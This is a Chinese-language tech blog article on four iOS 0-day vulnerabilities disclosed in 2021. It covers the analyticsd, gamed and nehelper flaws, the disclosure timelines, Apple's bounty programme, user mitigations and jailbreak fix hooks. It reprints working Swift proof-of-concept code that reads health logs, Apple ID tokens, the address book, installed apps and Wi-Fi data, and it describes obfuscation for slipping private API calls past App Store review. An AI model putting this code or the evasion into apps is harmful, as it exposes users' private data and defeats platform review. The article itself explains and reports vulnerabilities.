iOS15 安全漏洞分析:价值10万美元的漏洞曝光

3,475 阅读18分钟

一、前言

大家好,今天我们一起来吃一个苹果系统漏洞的大瓜!

事情是这样的,9 月 24 号 Denis Tokarev 发表文章公开披露 4 个 0-day iOS 漏洞,吐槽苹果没有署名感谢,最关键是苹果没有给赏金!

以下是作者的信息:

二、事件始末

从 Twitter 可知 illusionofchaos 为化名的研究人员真名是 Denis Tokarev(丹尼斯·托卡列夫),目前关于 Denis Tokarev 个人资料并不多,通过其使用俄语的网页披露漏洞,猜测他是俄罗斯人。

作者称在今年 3 月 10 日 ~ 5 月 4 日之间给苹果报告了 4 个 0-day 漏洞,但到发文为止,只在 iOS 14.7 修复了一个,但苹果在 iOS 14.7 安全性内容 更新页面并没有披露出来!当作者向苹果(Apple Product Security)提出质疑时,他们承诺在下一次系统版本更新的页面中列出,但此后的三次版本发布都没有列出。所以作者怒了!决定披露出来!才有了今天这个惊天动地的新闻(大瓜)!

0-day 漏洞

0day,zero-day vulnerability,0-day vulnerability,零日漏洞或零时差漏洞。

零日攻击 指被发现后立即被恶意利用的安全漏洞。通俗地讲,即安全补丁与瑕疵曝光的同一日内,相关的恶意程序就出现。由原软件发行公司提供修补程序,但此法通常较慢,因此软件公司通常会在最新的病毒代码中提供回避已知零时差攻击的功能,但无法彻底解决漏洞本身。这种攻击往往具有很大的突发性与破坏性。

小编注:

iOS 14.7 发布于 2021 年 7 月 19 日; 在作者发文后 2021年 10 月 11 日,苹果发布 iOS 15.0.2 ,又修复了一个漏洞。

接下来,我们先分析这 4 个漏洞的危害,然后在讨论关于苹果安全赏金计划,最后,在一些探讨一下关于 iOS 安全性。

iOS Analyticsd pre-14.7 exploit

漏洞在 iOS 14.7 已修复。

漏洞作用

允许任何用户安装的 app 访问分析日志(设置->隐私->分析和改进->分析数据 中的日志),这些日志包含(但不仅限于):

  • 医疗信息(心率、检测到的心房颤动计数和心律不齐事件)
  • 月经周期长度、生理性别和年龄、用户是否记录性活动、宫颈粘液质量等。
  • 设备使用信息(不同情况下的设备取货、推送通知计数和用户操作等)
  • 所有具有各自 bundle ID 的应用程序的屏幕使用时间信息和会话计数
  • 有关设备配件及其制造商、型号、固件版本和用户分配名称的信息
  • 应用程序崩溃时带有 bundle ID 和异常代码
  • 用户在 Safari 浏览器中查看的网页语言

漏洞说明

此漏洞是不需要任何权限,app 就可以获取分析日志,而分析日志是每个系统都会有,肯定会存在敏感的信息。同时,作者表示即使在设置中关闭“共享分析”,所有这些数据仍在收集中。关于这点,小编没有进行验证,有兴趣的朋友可以验证一下。

此漏洞在 iOS 14.7 已经修复,所以,小编在 iOS 14.2 设备上测试,其中有一组 MotionUsageMetrics 数据示例:

iOS-exploit-01.png

漏洞代码

漏洞攻击示例源代码:GitHub

func analyticsJson() -> String {
    let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_string(xdict, "command", "log-dump")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
}

XPC

这里先解析一下 XPC ,XPC 是 macOS 和 iOS 当中一种基于 Mach 消息的 IPC (进程间通信) 技术, 它实现了权限隔离, 使得 App Sandbox 更加完备。需要注意的是,在 iOS 上是私有 API。简单来说,就是系统封装了很多 XPC 服务,一个 XPC 提供了进程间通信的服务,所有的 app 都可以访问这个服务。详细 API 功能和说明,可以参考以下链接:

漏洞分析

了解了 XPC 基本概念,上面的源代码,大家应该能猜到一些了。就是通过苹果系统的 XPC 服务 com.apple.analyticsd,因苹果没有验证权限,导致所有 app 都可以访问这个 XPC 服务。

源代码解读:

func analyticsJson() -> String {
    // 建议 com.apple.analyticsd 的 XPC 连接
    let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
    // 处理 connection 的各种事件
    xpc_connection_set_event_handler(connection, { _ in })
    // 必须调用 resume 方法来启动
    xpc_connection_resume(connection)
    // 创建一个XPC参数传递字典
    let xdict = xpc_dictionary_create(nil, nil, 0)
    // 键是 command, 值是 log-dump
    xpc_dictionary_set_string(xdict, "command", "log-dump")
    // 发送消息
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    // 读取结果
    return String(cString: xpc_dictionary_get_string(reply, "log-dump"))
}

如果需要运行源代码,需要注意,项目中的 c.c 代码文件中 c 函数方法需要修改成这样:

void * normal_function1(const char * arg1, int arg2) {
    return ((void *(*)(const char *, int))((long long)dlopen))(arg1, arg2);
}

void * normal_function2(void * arg1, const char * arg2) {
    return ((void *(*)(void *, const char *))((long long)dlsym))(arg1, arg2);
}

报告时间表

  • 2021年4月29日:给苹果发送了一份详细报告
  • 2021年4月30日:苹果回复说,他们已经审查了该报告并接受了调查
  • 2021年5月20日:求苹果公司更新状态(但没有收到任何回复)
  • 2021年5月30日:要求苹果更新状态
  • 2021年6月3日:苹果回复说,他们计划在即将到来的更新中解决这个问题
  • 2021年7月19日:iOS 14.7 发布并修复
  • 2021年7月20日:我已请求苹果更新状态
  • 2021 年7月21日:iOS 14.7 安全内容列表已发布,未提及此漏洞 (support.apple.com/zh-cn/HT212…)
  • 2021年7月22日:问了苹果一个问题,为什么漏洞不在列表中
  • 同一天,我收到以下回复:由于处理问题,您的贡献将在即将发布的更新中包含在安全页面中。对于给您带来的不便,我们深表歉意。
  • 2021年7月26日:iOS 14.7.1 安全性内容列表已发布,仍未提及此漏洞(support.apple.com/zh-cn/HT212…
  • 2021年9月13日:iOS 14.8 安全内容列表已发布,仍未提及此漏洞(support.apple.com/zh-cn/HT212…
  • 2021年9月20日:iOS 15.0 安全内容列表已发布,仍未提及此漏洞(support.apple.com/zh-cn/HT212…
  • 2021年9月24日:我仍然没有收到任何回复

从这长长的报告时间,没有得到苹果兑现承诺,可以感受到做出的贡献却没有得到表扬,对于作者是一件痛苦的事件。

iOS gamed exploit (fixed in 15.0.2)

漏洞在 iOS 15.0.2 已修复。

漏洞作用

从 App Store 安装的任何 app 都可以不需要用户允许的情况下访问以下数据:

  • Apple ID 电子邮件及其关联的全名
  • Apple ID 身份验证令牌,允许代表用户访问 *.apple.com 上的至少一个端点
  • 完整的文件系统读取对 Core Duet 数据库的访问权限(包含来自邮件、短信、iMessage、第三方 app 转发的联系人列表,以及所有用户与这些联系人互动的元数据(包括时间戳和统计数据),以及一些附件(如URL和文本))
  • 完整的文件系统读取对 Speed Dial 数据库和 Address Book(通讯录) 数据库的访问,包括联系人头像和其他元数据,如创建和修改日期(我刚刚在 iOS 15 上检查过,这个无法访问,所以最近肯定已经悄悄修复了)

漏洞说明

这个漏洞,不需要任何权限,即可读取 Core Duet、 Speed Dial 和 Address Book(通讯录) 数据库内容。而如果需要读取用户的 Apple ID 电子邮件,则需要在 设置 -> GameCenter 打开时,才能读取到。

运行示例:

iOS-exploit-02.png

漏洞代码

漏洞攻击示例源代码:GitHub

let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
}

漏洞分析

漏洞的根本原因是因为 XPC 服务 com.apple.gamed 未正确检查 app 是否有 com.apple.developer.game-center 权限导致。

1、即使在用户设备上禁用了 Game Center,调用 getServicesForPID:localPlayer:reply: 方法也会返回几个 XPC 代理对象(GKAccountServiceGKFriendServiceGKUtilityService 等)。

2、如果在用户设备上启用了 Game Center(即使它没有在苹果后台 App Store Connect 中为 app 启用此权限,并且 app 中不包含 com.apple.developer.game-center 授权)。

  • GKAccountService 上调用authenticatePlayerWithExistingCredentialsWithHandler: 会返回一个包含 Apple ID 的对象用户、DSID 和 Game Center 身份验证令牌(允许代表用户向 gc.apple.com 发送请求)。
  • GKProfileService 上调用 getProfilesForPlayerIDs:handler: 会返回一个包含用户 Apple ID 名字和姓氏的对象。
  • GKFriendService 上调用 getFriendsForPlayer:handler: 返回一个对象,其中包含有关用户在 Game Center 中的朋友的信息。

3、即使设备上 Game Center 被禁用,也没有在苹果后台为 App Store Connect 中的 app 启用此权限,并且 app 不包含 com.apple.developer.game-center 授权。调用 GKUtilityServicerequestImageDataForURL:subdirectory:fileName:handler: 允许在应用程序沙箱之外,读取任意文件通过将文件 URL 传递给该方法。可以通过这种方式访问的文件(但不限于)如下:

  • /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist:包含设置中 “关于手机” 中的信息。越狱设备可以通过修改此文件,实现修改设备版本号、把日版美版等设备修改为国行等。
  • /var/mobile/Library/CoreDuet/People/interactionC.db:包含来自邮件、短信、iMessage、第三方app 传递的联系人列表以及有关用户与这些联系人交互的元数据(包括时间戳和统计数据)
  • /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist:包含个人收藏的联系人信息及其电话号码。
  • /var/mobile/Library/AddressBook/AddressBook.sqlitedb:包含完整的通讯录信息。
  • /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb:包含通讯录联系人的头像。

GKUtilityService 上调用 cacheImageData:inSubdirectory:withFileName:handler: 可能允许将任意数据写入 app 沙箱之外的位置。

报告的时间线

2021年3月10日:向苹果报告了漏洞 2021年3月10日:苹果确认了我的报告 2021年5月20日:请求更新状态(但没有收到回复) 2021年5月30日:再次请求更新状态 2021年7月1日:苹果回复说他们仍在调查 2021年7月20日:再次请求状态更新 2021年8月25日:苹果回复说,他们计划在即将到来的更新中解决这个问题。

nehelper enumerate installed apps 0-day (still works in 15.0.2)

漏洞在 iOS 15.0.2 还没有修复。

漏洞作用

该漏洞允许任何用户安装的应用程序根据 bundle ID 确定设备上是否安装了任何应用程序。

漏洞说明

这个漏洞,不需要任何权限,即可判断设备是否安装了 app。

运行示例:

iOS-exploit-03.png

漏洞代码

漏洞攻击示例源代码:GitHub

func isAppInstalled(bundleId: String) -> Bool {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
    xpc_dictionary_set_uint64(xdict, "cache-command", 3)
    xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
        return true
    }
    return false
}

漏洞分析

这个代码根据前面的解析,应该就可以读懂啦。原理是 XPC 服务 com.apple.nehelper 有一个可以访问任何应用的方法,该方法接受 bundle ID 作为参数,如果设备上安装了具有匹配 bundle ID 的应用,则返回包含一些缓存 UUID 的数组,否则返回空数组。在 /usr/libexec/nehelper-[NEHelperCacheManager onQueueHandleMessage:] 方法中执行。

报告的时间线

  • 2021年5月4日:向苹果报告了漏洞
  • 2021年5月4日:苹果确认了我的报告
  • 2021年5月20日:请求更新状态(但没有收到回复)
  • 2021年7月20日:再次请求状态更新
  • 2021年8月12日:苹果回复说,他们仍在调查

Nehelper Wifi Info 0-day (still works in 15.0.2)

漏洞在 iOS 15.0.2 还没有修复。

漏洞作用

该漏洞允许有位置访问权限的 app 读取当前设备连接 Wi-Fi 的 SSIDBSSID 信息。

漏洞说明

这个漏洞,需要 app 获得精确位置的位置权限后,即可获取设备当前连接 Wi-Fi 的 SSIDBSSID 信息。

运行示例:

iOS-exploit-04.png

漏洞代码

漏洞攻击示例源代码:GitHub

func wifi_info() -> String? {
    let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
    xpc_connection_set_event_handler(connection, { _ in })
    xpc_connection_resume(connection)
    let xdict = xpc_dictionary_create(nil, nil, 0)
    xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
    xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
    xpc_dictionary_set_string(xdict, "interface-name", "en0")
    let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
    if let result = xpc_dictionary_get_value(reply, "result-data") {
        let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
        let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
        return "SSID: \(ssid)\nBSSID: \(bssid)"
    } else {
        return nil
    }
}

漏洞分析

XPC 服务 com.apple.nehelper 接受用户提供的参数 sdk-version,如果其值小于或等于 524288,则跳过 app com.apple.developer.networking.wifi-info 权限的检查。这使得任何符合条件的应用程序(例如,提供位置访问权限)都可以在没有所需权限的情况下访问 Wifi 信息。这在 /usr/libexec/nehelper-[NEHelperWiFiInfoManager checkIfEntitled:] 方法中执行。

报告的时间线

  • 2021年5月2日:向苹果报告了漏洞
  • 2021年5月4日:苹果确认了我的报告
  • 2021年5月20日:请求更新状态(但没有收到回复)
  • 2021年7月20日:再次请求状态更新
  • 2021年8月6日:苹果回复说他们仍在调查

Apple 安全赏金计划

Apple 安全赏金计划 是苹果奖励分享关键安全问题的研究人员。

研究人员报告 iOS、iPadOS、macOS、Apple tvOS、watchOS 和 iCloud 上的问题,并可获得最高 150 万美元的奖金。此外,Apple 也会对提交有效报告的人员公开致谢。如果获奖者捐献奖金,Apple 还会捐赠等值款项给符合条件的慈善机构。

apple-security-bounty-payouts.png

作者认为 illusionofchaos/ios-gamed-0day: iOS gamed exploit (fixed in 15.0.2) 漏洞,根据苹果 安全赏金计划页面,这个漏洞的评估为100,000美元(对通常受 TCC 提示保护或平台沙箱保护的敏感数据的广泛应用访问。“敏感数据”访问包括从联系人获得广泛访问(即完整数据库))。

小编注:TCC 提示保护(protected by a TCC prompt),是 macOS 系统设置中的 “安全与隐私” 下的“隐私”选项卡中权限的管理。

作者称自己不是第一个对苹果安全赏金计划不满意的人。以下是一些其他报告和意见:

漏洞危害性

首先,从上面分析,危害最大的 XPC "com.apple.gamed" 漏洞,在 iOS 15.0.2 已经修复,但是在 15.0.1 以下的设备,可以理解为不安全的设备。所以,危害性不言而喻。

另外,作者说,关于上述漏洞代码能否进入 App Store 表示怀疑,因为苹果有严格的机器和人工审核。作者进行了反驳。

可以想象一下,某个同性恋可处以死刑的国家的政府,在 App Stor e中有一个官方应用程序,供大多数公民使用,并希望基于性取向针对人们。例如,可以通过检查用户的设备上是否安装了 Grindr 应用程序来做到这一点。政府可能会在自己的官方应用程序中隐藏恶意代码,向 App Store 发送更新,苹果将无法检测到这一点。

大家都知道,App Store 上传的包体会进行静态分析,对照一组预定义的私有API 检查二进制文件中的字符串列表,但如果该 API 是 Objective-C 语言,可以通过 Objective-C 运行时动态调用它。

作者在公开的漏洞源代码中,示例了动态调用苹果认为是私人 API 的一部分 C 函数,以免被静态分析检测到。 示例代码:

let dylib = normal_function1(["/usr/lib/system/libxp", ".dylib"].joined(separator: "c"), 0)
let normalFunction3 = unsafeBitCast(normal_function2(dylib, ["xp", "_connection_create_mach_service"].joined(separator: "c")), to: (@convention(c) (UnsafePointer<CChar>, DispatchQueue?, UInt64) -> (OpaquePointer)).self)
let normalFunction4 = unsafeBitCast(normal_function2(dylib, ["xp", "_connection_set_event_handler"].joined(separator: "c")), to: (@convention(c) (OpaquePointer, @escaping (OpaquePointer) -> Void) -> Void).self)

其中 dlopendlsym 系统库函数,它们允许加载动态库并解析其中的符号。这些功能的使用可能会被 App Store 审核团队检测到,但作者表示可以避免直接使用它们。因为每个 iOS 二进制文件都会有一个名为 dyld_stub_binder 的符号,它是从与 dlopen 和 dlsym 相同的库中导入的。这意味着我们可以找到 dyld_stub_binder 在内存中距离 dlopen 和 dlsym 的位置,并仅使用它们的地址来调用它们。因此我们将提前计算一个特定 iOS 版本和设备型号的偏移量(参考源代码中的 c.c 文件):

printf("%lld\n",(long long)dyld_stub_binder - (long long)dlopen);
printf("%lld\n",(long long)dyld_stub_binder - (long long)dlsym);

更复杂的恶意软件可以避免使用预定义的偏移量,并使用这些函数的签名动态查找地址。 这里就不展开了,有兴趣的朋友可以了解一下 ffi。

当然,为了不被静态分析检测到,包含函数名称的字符串应该混淆。更多可以作者 文章

漏洞修复

关于漏洞修复,正如前文说到的,如果你的系统版本低于 iOS 15.0.2,那么关闭 Game Center、不要给“精确位置”权限,尽可能升级到最新系统,可能是最优的方案。

当然,收到的未知链接、非 AppStore 安装的 app,风险也非常的大,从上文就可以知道,不需要你的允许,你的信息可能已经被偷偷拿到。当然,如果你认为只是一些基本信息,那么可能就大意了。假如系统有一个漏洞,可能拿到你短信 app 的验证码,那么你手机号码 + 验证码,这些潜在的风险意识,也许是我们当今每个智能用户,都要懂得的保护自己设备,也是在保护自己的信息财产安全。

4个漏洞,还有2个漏洞苹果没有修复,然后,有开发者在 reddit 表示自己开发了越狱版本的修复漏洞的插件!

具体的插件源代码,可以在 rllbe/entitlementfix: Workaround for the 4 0-days 看到:

%hook GKAccountService
-(void)authenticatePlayerWithExistingCredentialsWithHandler:(void(^)(GKAuthenticateResponse *, NSError *))handler {
    void (^_handler)(GKAuthenticateResponse *, NSError *) = ^(GKAuthenticateResponse *response, NSError *error) {
        if (response && ![[[self clientProxy] entitlements] hasEntitlements:[%c(GKAccountServicePrivate) requiredEntitlements]]) { response.credential = nil;
            response.passwordChangeURL = nil;
        }
        handler(response, error);
    };
    %orig(_handler);
}
%end

这里是修复了 "com.apple.gamed" 漏洞,增加了获取数据前,验证当前的代码对象是否有 XPC 服务的权限。

这是修复了判断是否安装某个app的漏洞:

%hook NEHelperCacheManager
-(void)onQueueHandleMessage:(xpc_object_t)xdict {
    if (xpc_dictionary_get_uint64(xdict, "cache-command") == 3uLL) {
        Class NEHelperServer = %c(NEHelperServer);
        if (![NEHelperServer verifyConnection:xpc_dictionary_get_remote_connection(xdict) hasEntitlement:"com.apple.private.nehelper.privileged"]) {
            [NEHelperServer sendReplyForMessage:xdict result:22LL data:0LL];
            return;
        }
    }
    return %orig;
}
%end

修复 wifi 信息漏洞:

%hook NEHelperWiFiInfoManager
-(BOOL)checkIfEntitled:(NSUInteger)sdkVersion {
    NSUInteger _sdkVersion = sdkVersion <= 1 << 19 ? 1 << 19 : sdkVersion;
    return %orig(_sdkVersion);
}
%end

也许,这也是越狱的优点,本身是利用系统漏洞,最后又替系统修复了漏洞,也不需要升级系统才能修复。听起来像个笑话~

总结

吃完瓜,相信有很多漏洞,没有被披露出来!或者被某些人发现了!

关于苹果有漏洞赏金计划,小编这里就不评论了,除了其它大企业都有类似的计划,对于安全研究员,这本身是一个“双赢”的计划。但是大企业,往往走的标准化流程,所以,苹果没有回应或没有及时回应的指控,其实从平时的苹果响应慢也能感受到,当然,苹果关于符合赏金计划付费的审核,可能是一个不透明的问题。这一切,导致了作者的公开了价值十万美元的漏洞!

从这个事件,让我们知道,安全的问题从来不是一件小事,而当用户信息泄漏时,可能跟用户也有直接关系。iOS 安全的问题,从这4个漏洞就表明,只是冰山一角,iOS 安全性只是相对的,所以,从用户角度,不要点击未知链接,不安装未知app,尽量更新到最新系统,可能是更加安全。

参考引用